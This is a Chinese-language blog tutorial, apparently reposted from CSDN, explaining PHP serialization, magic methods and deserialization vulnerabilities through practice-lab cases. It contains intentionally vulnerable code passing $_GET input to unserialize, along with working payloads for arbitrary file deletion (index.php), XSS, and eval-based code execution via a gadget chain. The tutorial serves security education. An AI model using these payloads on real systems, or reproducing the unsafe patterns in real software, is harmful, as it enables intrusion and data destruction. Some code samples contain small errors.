反序列化漏洞总结

目录

1.了解序列化和反序列化

2.php反序列化和序列化

2.1无类序列化和反序列化演示

2.2有类序列化和反序列化演示

2.2.1类的理解

 2.2.2有类序列化过程

2.2.3有类反序列化过程

 3.魔法方法

4.简单案列

4.1__wakeup()反序列化案列

4.2.pikachu的反序列漏洞案列

4.3其他函数利用

5.序列化格式字母含义

6.什么反序列化漏洞

7.反序列化防御


1.了解序列化和反序列化

在学习反序列化漏洞之前,需要了解什么是反序列化和序列化,我看到了一个很好的比喻,觉得很适合帮助大家对于两者理解,相信大家都在淘宝买过东西,不知道有没有买过那种小型家具,我有买过鞋柜,商家发货的时候不会将一个完好的鞋柜寄给你,第一因为中途可能会损坏,第二呢就是增加包装成本。所以商家都会将鞋柜所有部件打包寄过来,顾客拿到快递在自己根据安装教程安装好鞋柜。那么这里面就有两个过程,一个是商家将所以部件打包发走,一个是你拿到安装还原。那么序列化就是商家打包过程,反序列化就是将商品还原过程。为啥有这两个过程,主要是方便数据的传输和保存,因为有一些变量需要重复使用,也就是跨脚本使用,那我不想每个脚本都要定义一下变量名,浪费我的时间,但是一个脚步文件如果执行完成,它会自动释放掉变量的,所以我需要反序列化将变量保存起来,然后给其他脚本使用。我感觉大部分漏洞都是程序员偷懒的,哈哈哈,开个小玩笑。

2.php反序列化和序列化

2.1无类序列化和反序列化演示

我们通过比喻对于序列化和反序列化有了一定了解,那么具体在代码中是怎么体现的呢,这里我们以php代码给大家展示一下,那么说到php序列化就的说两个函数serializeunserialize,serialize函数是将数据序列化,unserialize函数是将数据反序列化。这是一个在线工具,大家可以自己练习

代码在线编辑,代码在线运行,在线写代码工具

<?php

$name = 'nihao';//定义一个变量
$usr = serialize($name);//将变量序列化
$aa=unserialize($usr);//将变量反序列化
echo $usr;//打印序列化之后的内容
echo $aa;//打印反序列化之后的内容
?>

 可以看到序列化之前数据是$name='nihao',一个变量的定义,序列化之后是s:5:"nihao"。

s指的是数据类型string字符串类型,5是有五个字符,后面就是具体的内容。 

反序列化就是序列化的反面过程,那么通常情况下不会这么简单,这种给大家演示是无类情况,我们用到的场景都是有类场景。

2.2有类序列化和反序列化演示

2.2.1类的理解

这里呢怕有的对于类的不了解和代码不了解,简单说明一下。

举一个例子说明下类,比如人类就是一个类,那么具体的某个人“张三”就是“人类”这个类的具体对象,而“姓名、身高、体重”等信息就是对象的属性,人的动作比如“吃饭、穿衣”等就是对象的方法。

类都是抽象化,如果你想类具体,通过new 就可以让类具体化了,就可以使用里面的方法。

<?php
class TestClass//类名
{
//一个变量,相当于属性
public $name = 'zhansan';
//一个简单的方法
public function Printaa()
{
echo $this->name;
}
}
//创建一个对象
$ob = new TestClass();
//调用一个方法
$ob->Printaa();
?>

 2.2.2有类序列化过程

可以看到当序列化对象是类的时候,序列化是将变量变成更好传输和存储的数据。序列化使变量值在跨脚本文件传递的过程,不会因为之前脚本执行完,变量和内容释放掉,而不能使用。

<<?php

class TestClass//类名
{
    public $variable = 'This is a string';
    public $age = 12;
    public function printdata()
    {
        echo 'hello';
    }  
}
$object = new TestClass();//创建对象
$aa=serialize($object);//序列化

echo $aa;

?>

 下面的O:9:"TestClass":2:{s:8:"variable";s:4:"Tina";s:3:"age";i:12;}就是对象TestClass序列化后的形式,“O”表示对象,“9”表示对象名长度为9,“TestClass”为对象名,“2”表示有2个参数。“s”表示string字符串,“8”表示长度,“variable”则为变量值;“i”是interger就是整数,“12”是变量值,整数灭有长度。

2.2.3有类反序列化过程

<?php

//一个类
class TestClass
{
    //类的数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo $this->name;
        echo $this->age;
    }
}
//重建对象
$usr = unserialize('O:9:"TestClass":2:{s:3:"age";i:22;s:4:"name";s:9:"vergilben";}');
//输出数据
$usr->printdata();
?>

3.魔法方法

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用。下面一个而案例来加深理解。

__construct   当一个对象创建时被调用,
__destruct   当一个对象销毁时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__sleep()    使用serialize时触发
__destruct()    对象被销毁时触发
__call()    在对象上下文中调用不可访问的方法时触发
__callStatic()    在静态上下文中调用不可访问的方法时触发
__get()    用于从不可访问的属性读取数据
__set()    用于将数据写入不可访问的属性
__isset()    在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()    把类当作字符串使用时触发,返回值需要为字符串
__invoke()   当脚本尝试将对象调用为函数时触发
<?php  
   
class TestClass  
{  
    // 一个变量  
    public $variable = 'hello';  
    // 一个简单的方法   
    public function PrintVariable()  
    {  
        echo $this->variable . '<br />';  
    }    
    public function __construct()  
    {  
        echo '__construct <br />';  
    }   
    public function __destruct()  
    {  
        echo '__destruct <br />';  
    }   
public function __wakeup()  
    {  
        echo '__wakeup <br />';  
    }  
    public function __toString()  
    {  
        return '__toString <br />';  
    }  
}  
   
// 创建一个对象  
// 1. __construct会被调用   打印construct  
$object = new TestClass();     
//2. 创建一个方法   打印hello
$object->PrintVariable(); 
//序列化
$aa=serialize($object);    

//3.进行反序列化 打印wakeup
$bb=unserialize($aa);
//4.打印序列化结果
echo $aa; 
// 对象被当作一个字符串  
//5.  __toString会被调用 打印tostring 
echo $object
//6. 脚本结束__destruct会被调用 调用二次,二个对象释放了  
?> 

4.简单案列

4.1__wakeup()反序列化案列

通过上面案例我们可以看到魔法方法在某些情况下是自动调用的,比如我们在反序列化过程中会直接调用__wakeup() 和__destruct(),中间不需要其他手段,就完成方法的调用。接下来我们进行靶场练习,本地靶场搭建自己看web渗透靶场(pikachu,DVWA)本地搭建环境配置_dreamthe的博客-CSDN博客

假设我们程序本来的作用是来存储临时文件,当程序执行完成,将文件删除。处理不当就造成了任意文件删除。

可以看到在网站目录下有一个文件2.php和index.php。2.php代码如下 

<?php

class logfile
{
    //文件名
    public $filename = '';
    //临时文件存储
    public function logdata($text)
    {
        echo 'log data:'.$text.'<br />';
        file_put_contents($this->filename,$text,FILE_APPEND);
    }
    //当脚本结束删除文件
    public function __wakeup()
    {
        echo '__destruct deletes '.$this->filename.'file.<br />';
        unlink(dirname(__FILE__).'/'.$this->filename);
    }
}

$usr = unserialize($_GET['test']);//参数输入

?>
//2.php
O:7:"logfile":1:{s:8:"filename";s:9:"index.php";}

访问2.php文件,原本本意不是删除index.php,我们通过其他渠道知道该网站目录下有这个文件,就可以利用该漏洞删除index.php.当我们访问时给入参数,在看目录就会发现index.php删除了。为啥产生漏洞了,第一我们输入的参数可控,第二对于参数没有进行过滤。

4.2.pikachu的反序列漏洞案列

这里我们直接看源码代码,代码中对于输入的数据进行判断如果输入的不是序列号的数据显示大兄弟,如果是序列化数据,就将变量值在页面显示出来,由于还是对于参数没有过滤产生漏洞,如果我们构造如下payload,就会弹窗。

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

 

4.3其他函数利用

因为__wakeup函数是反序列化时候自动调用的,如果漏洞危险代码在wakeup函数里面是很好利用,也很方面。但是如果漏洞存在普通方法,不在魔法方法里面,那该如何利用呢。

分析下面代码 ,代码原来调用testclass类创建对象,创建对象触发魔法方法调用__construct()函数,接着调用testing1类,执行脚本结束,又触发魔法方法__destruct()函数,调用action()方法,将类名以字符串打印出来。但是这里有一个testing2类,如果调用它,如果参数test2的值是合法的字符串,那么eval会将该值以php代码执行。

<?php
class testclass {
    var $test;
    function __construct() {
        $this->test = new testing1();
    }
    function __destruct() {
        $this->test->action();
    }
}
class testing1 {
    function action() {
        echo "testing1";
    }
}
class testing2 {
    var $test2;
    function action() {
        eval($this->test2);
    }
}
$aa = new testclass();
unserialize($_GET['test']);
?>
//3.php

构造payload

当序列化值输入进行,在反序列化过程时__construcr()函数调用的就是testing2()类,$test2="phphinfo;" 以此类推将test的值以PHP代码执行。

O:9:"testclass":1:{s:4:"test";O:8:"testing2":1:{s:5:"test2";s:10:"phpinfo();";}}

 访问3.php,可以看到代码成功执行。

5.序列化格式字母含义

a - array                    b - boolean  
d - double                   i - integer
o - common object            r - reference
s - string                   C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

6.反序列化漏洞原理

在开发过程中,我们为了方便快捷我们用到很多类,如果我们需要那个功能直接调用类就行了,有的时候类里面的一些变量也是需要在不同脚本文件中重复使用,为了方便使用了序列化以及反序列化。因为序列化将我们的变量很好储存以及运输,不会因为其他脚本执行完成,变量释放掉了,导致变量不能使用,就可以使变量能够跨脚本执行,这个过程中如果对于用户输入的参数没有很好检测,过滤就会导致在反序列化过程中被恶意控制,进而造成代码执行,getshell等等危害。例如在靶场pikachu的案例,就是没有过滤导致漏洞产生。还有可能就是对于一些魔术方法使用不当造成。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。总结我觉得反序列化得配合代码审计,如果是黑盒渗透,需要多方面渗透,难度还是有的。

7.反序列化防御

主要对于参数的过滤,不要相信用户输入的任何参数。

参考链接 PHP反序列化漏洞原理与复现 - 简书

猜你喜欢

转载自blog.csdn.net/dreamthe/article/details/121510435